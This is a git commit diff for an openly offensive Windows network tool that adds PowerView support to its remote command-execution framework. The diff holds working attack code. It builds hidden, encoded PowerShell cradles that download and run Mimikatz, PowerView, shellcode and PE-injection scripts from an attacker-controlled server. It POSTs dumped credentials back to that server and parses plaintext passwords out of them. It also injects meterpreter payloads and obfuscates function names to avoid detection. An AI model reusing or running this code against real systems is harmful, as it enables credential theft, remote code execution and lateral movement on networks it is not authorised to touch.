Initial PowerView integration, for some reason only works when using

smbexec as the execution method, so for now it's forced to that
Fixed a bug where forcing Powershell code to run in a 32bit process
would cause a rpc_access_denied error message
Made Mimikatz parser output more consistent
Made wmiexec and smbexec output more consistent
main
byt3bl33d3r 2015-11-19 18:13:32 -07:00
parent bff44a5ed2
commit c9bb82fb45
8 changed files with 11041 additions and 55 deletions

View File

@ -8,9 +8,9 @@ class EXECUTOR:
"""Yes, I know this sounds like the pokemon... deal with it"""
def __init__(self, command, host, domain, noOutput, smbconnection):
def __init__(self, command, host, domain, noOutput, smbconnection, method):
if settings.args.execm == 'wmi':
if method == 'wmi':
wmi_exec = WMIEXEC(command,
settings.args.user,
settings.args.passwd,
@ -22,7 +22,7 @@ class EXECUTOR:
settings.args.kerb)
wmi_exec.run(host, smbconnection)
elif settings.args.execm == 'smbexec':
elif method == 'smbexec':
smb_exec = SMBEXEC(command,
'{}/SMB'.format(settings.args.port),
settings.args.user,
@ -36,7 +36,7 @@ class EXECUTOR:
noOutput)
smb_exec.run(host)
elif settings.args.execm == 'atexec':
elif method == 'atexec':
atsvc_exec = TSCH_EXEC(command,
settings.args.user,
settings.args.passwd,

View File

@ -168,29 +168,35 @@ def connect(host):
wdigest.disable()
if settings.args.command:
EXECUTOR(settings.args.command, host, domain, settings.args.no_output, smb)
EXECUTOR(settings.args.command, host, domain, settings.args.no_output, smb, settings.args.execm)
if settings.args.pscommand:
EXECUTOR(ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb)
EXECUTOR(ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb, settings.args.execm)
if settings.args.mimikatz:
powah_command = PowerSploit(settings.args.server, local_ip)
EXECUTOR(powah_command.mimikatz(), host, domain, True, smb)
powah_command = PowerShell(settings.args.server, local_ip)
EXECUTOR(powah_command.mimikatz(), host, domain, True, smb, settings.args.execm)
if settings.args.mimikatz_cmd:
powah_command = PowerSploit(settings.args.server, local_ip)
EXECUTOR(powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb)
powah_command = PowerShell(settings.args.server, local_ip)
EXECUTOR(powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb, settings.args.execm)
if settings.args.powerview:
#For some reason powerview functions only seem to work when using smbexec...
#I think we might have a mistery on our hands boys and girls!
powah_command = PowerShell(settings.args.server, local_ip)
EXECUTOR(powah_command.powerview(settings.args.powerview), host, domain, True, smb, 'smbexec')
if settings.args.inject:
powah_command = PowerSploit(settings.args.server, local_ip)
powah_command = PowerShell(settings.args.server, local_ip)
if settings.args.inject.startswith('met_'):
EXECUTOR(powah_command.inject_meterpreter(), host, domain, True, smb)
EXECUTOR(powah_command.inject_meterpreter(), host, domain, True, smb, settings.args.execm)
if settings.args.inject == 'shellcode':
EXECUTOR(powah_command.inject_shellcode(), host, domain, True, smb)
EXECUTOR(powah_command.inject_shellcode(), host, domain, True, smb, settings.args.execm)
if settings.args.inject == 'dll' or settings.args.inject == 'exe':
EXECUTOR(powah_command.inject_exe_dll(), host, domain, True, smb)
EXECUTOR(powah_command.inject_exe_dll(), host, domain, True, smb, settings.args.execm)
try:
smb.logoff()
except:

View File

@ -9,17 +9,16 @@ def ps_command(command):
command = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" + command
if settings.args.force_ps32:
logging.info('Wrapping the following PS command in a PS32 IEX cradle: ' + command)
command = 'IEX "$Env:windir\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded {}"'.format(b64encode(command.encode('UTF-16LE')))
logging.info('Forcing the following command to execute in a 32bit PS process: ' + command)
command = '%SystemRoot%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
else:
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
base64_command = b64encode(command.encode('UTF-16LE'))
logging.info('Full PS command: ' + command)
logging.info('Full PS command to be encoded: ' + command)
ps_command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(base64_command)
return command
return ps_command
class PowerSploit:
class PowerShell:
"""
https://www.youtube.com/watch?v=nm6DO_7px1I
@ -29,15 +28,13 @@ class PowerSploit:
self.localip = localip
self.protocol = server
self.func_name = settings.args.obfs_func_name
if server == 'smb':
self.protocol = 'file'
def mimikatz(self, command='privilege::debug sekurlsa::logonpasswords exit'):
command = """
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/tmp/Invoke-Mimikatz.ps1');
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/Invoke-Mimikatz.ps1');
$creds = Invoke-{func_name} -Command '{katz_command}';
$request = [System.Net.WebRequest]::Create('{protocol}://{addr}/tmp');
$request = [System.Net.WebRequest]::Create('{protocol}://{addr}/');
$request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded';
$bytes = [System.Text.Encoding]::ASCII.GetBytes($creds);
@ -52,9 +49,28 @@ class PowerSploit:
return ps_command(command)
def powerview(self, command):
command = """
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/powerview.ps1');
$output = {view_command} | Out-String;
$request = [System.Net.WebRequest]::Create('{protocol}://{addr}/');
$request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded';
$bytes = [System.Text.Encoding]::ASCII.GetBytes($output);
$request.ContentLength = $bytes.Length;
$requestStream = $request.GetRequestStream();
$requestStream.Write( $bytes, 0, $bytes.Length );
$requestStream.Close();
$request.GetResponse();""".format(protocol=self.protocol,
addr=self.localip,
view_command=command)
return ps_command(command)
def inject_meterpreter(self):
command = """
IEX (New-Object Net.WebClient).DownloadString('{0}://{1}/tmp/Invoke-Shellcode.ps1');
IEX (New-Object Net.WebClient).DownloadString('{0}://{1}/Invoke-Shellcode.ps1');
Invoke-{2} -Force -Payload windows/meterpreter/{3} -Lhost {4} -Lport {5}""".format(self.protocol,
self.localip,
self.func_name,
@ -70,9 +86,9 @@ class PowerSploit:
def inject_shellcode(self):
command = """
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/tmp/Invoke-Shellcode.ps1');
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/Invoke-Shellcode.ps1');
$WebClient = New-Object System.Net.WebClient;
[Byte[]]$bytes = $WebClient.DownloadData('{protocol}://{addr}/tmp2/{shellcode}');
[Byte[]]$bytes = $WebClient.DownloadData('{protocol}://{addr}/{shellcode}');
Invoke-{func_name} -Force -Shellcode $bytes""".format(protocol=self.protocol,
func_name=self.func_name,
addr=self.localip,
@ -87,8 +103,8 @@ class PowerSploit:
def inject_exe_dll(self):
command = """
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/tmp/Invoke-ReflectivePEInjection.ps1');
Invoke-{func_name} -PEUrl {protocol}://{addr}/tmp2/{pefile}""".format(protocol=self.protocol,
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/Invoke-ReflectivePEInjection.ps1');
Invoke-{func_name} -PEUrl {protocol}://{addr}/{pefile}""".format(protocol=self.protocol,
func_name=self.func_name,
addr=self.localip,
pefile=settings.args.path.split('/')[-1])

View File

@ -40,6 +40,7 @@ from core.servers.smbserver import SMBServer
from impacket import version
from impacket.smbconnection import *
from impacket.dcerpc.v5 import transport, scmr
from StringIO import StringIO
OUTPUT_FILENAME = ''.join(random.sample(string.ascii_letters, 10))
BATCH_FILENAME = ''.join(random.sample(string.ascii_letters, 10)) + '.bat'
@ -234,5 +235,7 @@ class RemoteShell(cmd.Cmd):
peer = ':'.join(map(str, self.__rpc.get_socket().getpeername()))
print_succ("{} Executed command via SMBEXEC".format(peer))
if self.__noOutput is False:
print_att(self.__outputBuffer.strip())
buf = StringIO(self.__outputBuffer.strip()).readlines()
for line in buf:
print_att(line.strip())
self.__outputBuffer = ''

View File

@ -26,6 +26,7 @@ import logging
import string
import random
import ntpath
import core.settings as settings
from gevent import sleep
from core.logger import *
@ -34,7 +35,7 @@ from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002,
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
import core.settings as settings
from StringIO import StringIO
OUTPUT_FILENAME = ''.join(random.sample(string.ascii_letters, 10))
@ -229,5 +230,7 @@ class RemoteShell(cmd.Cmd):
print_succ('{}:{} Executed command via WMIEXEC'.format(self.__win32Process.get_target(),
settings.args.port))
if self.__noOutput is False:
print_att(self.__outputBuffer.strip())
buf = StringIO(self.__outputBuffer.strip()).readlines()
for line in buf:
print_att(line.strip())
self.__outputBuffer = ''

View File

@ -18,20 +18,28 @@ class MimikatzServer(BaseHTTPRequestHandler):
def log_message(self, format, *args):
print_message("%s - - %s" % (self.client_address[0], format%args))
def save_mimikatz_output(self, data):
log_name = 'Mimikatz-{}-{}.log'.format(self.client_address[0], datetime.now().strftime("%Y-%m-%d_%H:%M:%S"))
with open('logs/' + log_name, 'w') as creds:
creds.write(data)
print_status("{} Saved POST data to {}".format(self.client_address[0], yellow(log_name)))
def do_GET(self):
if self.path[5:].endswith('.ps1') and self.path[5:] in os.listdir('hosted'):
if self.path[1:].endswith('.ps1') and self.path[1:] in os.listdir('hosted'):
self.send_response(200)
self.end_headers()
with open('hosted/'+ self.path[4:], 'rb') as script:
with open('hosted/'+ self.path[1:], 'rb') as script:
ps_script = script.read()
ps_script = eval(synopsis.sub('', repr(ps_script))) #Removes the synopsys
ps_script = func_name.sub(settings.args.obfs_func_name, ps_script) #Randomizes the function name
ps_script = comments.sub('', ps_script) #Removes the comments
#logging.info('Sending the following modified powershell script: {}'.format(ps_script))
if self.path[1:] != 'powerview.ps1':
logging.info('Obfuscating Powershell script')
ps_script = eval(synopsis.sub('', repr(ps_script))) #Removes the synopsys
ps_script = func_name.sub(settings.args.obfs_func_name, ps_script) #Randomizes the function name
ps_script = comments.sub('', ps_script) #Removes the comments
#logging.info('Sending the following modified powershell script: {}'.format(ps_script))
self.wfile.write(ps_script)
elif settings.args.path:
if self.path[6:] == settings.args.path.split('/')[-1]:
if self.path[1:] == settings.args.path.split('/')[-1]:
self.send_response(200)
self.end_headers()
with open(settings.args.path, 'rb') as rbin:
@ -50,25 +58,36 @@ class MimikatzServer(BaseHTTPRequestHandler):
if settings.args.mimikatz:
try:
buf = StringIO(data).readlines()
plaintext_creds = []
i = 0
while i < len(buf):
if ('Password' in buf[i]) and ('(null)' not in buf[i]):
passw = buf[i].split(':')[1].strip()
domain = buf[i-1].split(':')[1].strip()
user = buf[i-2].split(':')[1].strip()
print_succ('{} Found plain text creds! Domain: {} Username: {} Password: {}'.format(self.client_address[0], yellow(domain), yellow(user), yellow(passw)))
plaintext_creds.append('{}\\{}:{}'.format(domain, user, passw))
i += 1
if plaintext_creds:
print_succ('{} Found plain text credentials (domain\\user:password):'.format(self.client_address[0]))
for cred in plaintext_creds:
print_att(u'{}'.format(cred))
except Exception as e:
print_error("Error while parsing Mimikatz output: {}".format(e))
elif settings.args.mimi_cmd:
print_att(data)
self.save_mimikatz_output(data)
log_name = 'Mimikatz-{}-{}.log'.format(self.client_address[0], datetime.now().strftime("%Y-%m-%d_%H:%M:%S"))
with open('logs/' + log_name, 'w') as creds:
creds.write(data)
print_status("{} Saved POST data to {}".format(self.client_address[0], yellow(log_name)))
elif settings.args.mimikatz_cmd:
print_succ('{} Mimikatz command output:'.format(self.client_address[0]))
print_att(data)
self.save_mimikatz_output(data)
elif settings.args.powerview:
print_succ('{} PowerView command output:'.format(self.client_address[0]))
buf = StringIO(data.strip()).readlines()
for line in buf:
print_att(line.strip())
def http_server():
http_server = BaseHTTPServer.HTTPServer(('0.0.0.0', 80), MimikatzServer)

View File

@ -59,7 +59,7 @@ parser = argparse.ArgumentParser(description="""
version='2.0 - {}'.format(CODENAME),
epilog='There\'s been an awakening... have you felt it?')
parser.add_argument("-t", type=int, dest="threads", default=10, help="Set how many concurrent threads to use (defaults to 10)")
parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (defaults to 100)")
parser.add_argument("-u", metavar="USERNAME", dest='user', type=str, default=None, help="Username(s) or file containing usernames")
parser.add_argument("-p", metavar="PASSWORD", dest='passwd', type=str, default=None, help="Password(s) or file containing passwords")
parser.add_argument("-H", metavar="HASH", dest='hash', type=str, default=None, help='NTLM hash(es) or file containing NTLM hashes')
@ -95,6 +95,7 @@ egroup.add_argument("--users", action='store_true', dest='enum_users', help='Enu
egroup.add_argument("--rid-brute", nargs='?', const=4000, metavar='MAX_RID', dest='rid_brute', help='Enumerate users by bruteforcing RID\'s (defaults to 4000)')
egroup.add_argument("--pass-pol", action='store_true', dest='pass_pol', help='Dump password policy')
egroup.add_argument("--lusers", action='store_true', dest='enum_lusers', help='Enumerate logged on users')
egroup.add_argument("--powerview", metavar='POWERVIEW_CMD', dest='powerview', help='Run the specified PowerView command')
egroup.add_argument("--wmi", metavar='QUERY', type=str, dest='wmi_query', help='Issues the specified WMI query')
sgroup = parser.add_argument_group("Spidering", "Options for spidering shares")
@ -107,7 +108,7 @@ sgroup.add_argument("--depth", type=int, default=10, help='Spider recursion dept
cgroup = parser.add_argument_group("Command Execution", "Options for executing commands")
cgroup.add_argument('--execm', choices={"wmi", "smbexec", "atexec"}, default="wmi", help="Method to execute the command (default: wmi)")
cgroup.add_argument('--force-ps32', action='store_true', dest='force_ps32', help='Force all PowerShell code/commands to run in a 32bit process')
cgroup.add_argument('--force-ps32', action='store_true', dest='force_ps32', help='Forces all PowerShell code/commands to run in a 32bit process')
cgroup.add_argument('--no-output', action='store_true', dest='no_output', help='Do not retrieve command output')
cgroup.add_argument("-x", metavar="COMMAND", dest='command', help="Execute the specified command")
cgroup.add_argument("-X", metavar="PS_COMMAND", dest='pscommand', help='Excute the specified powershell command')
@ -217,7 +218,7 @@ else:
for target in args.target.split(','):
targets.append(get_targets(target))
if args.mimikatz or args.mimikatz_cmd or args.inject or args.ntds == 'ninja':
if args.mimikatz or args.powerview or args.mimikatz_cmd or args.inject or args.ntds == 'ninja':
if args.server == 'http':
http_server()
@ -238,7 +239,7 @@ def concurrency(targets):
concurrency(targets)
if args.mimikatz or args.mimikatz_cmd or args.inject or args.ntds == 'ninja':
if args.mimikatz or args.powerview or args.mimikatz_cmd or args.inject or args.ntds == 'ninja':
try:
while True:
sleep(1)

10938
hosted/powerview.ps1 Normal file

File diff suppressed because it is too large Load Diff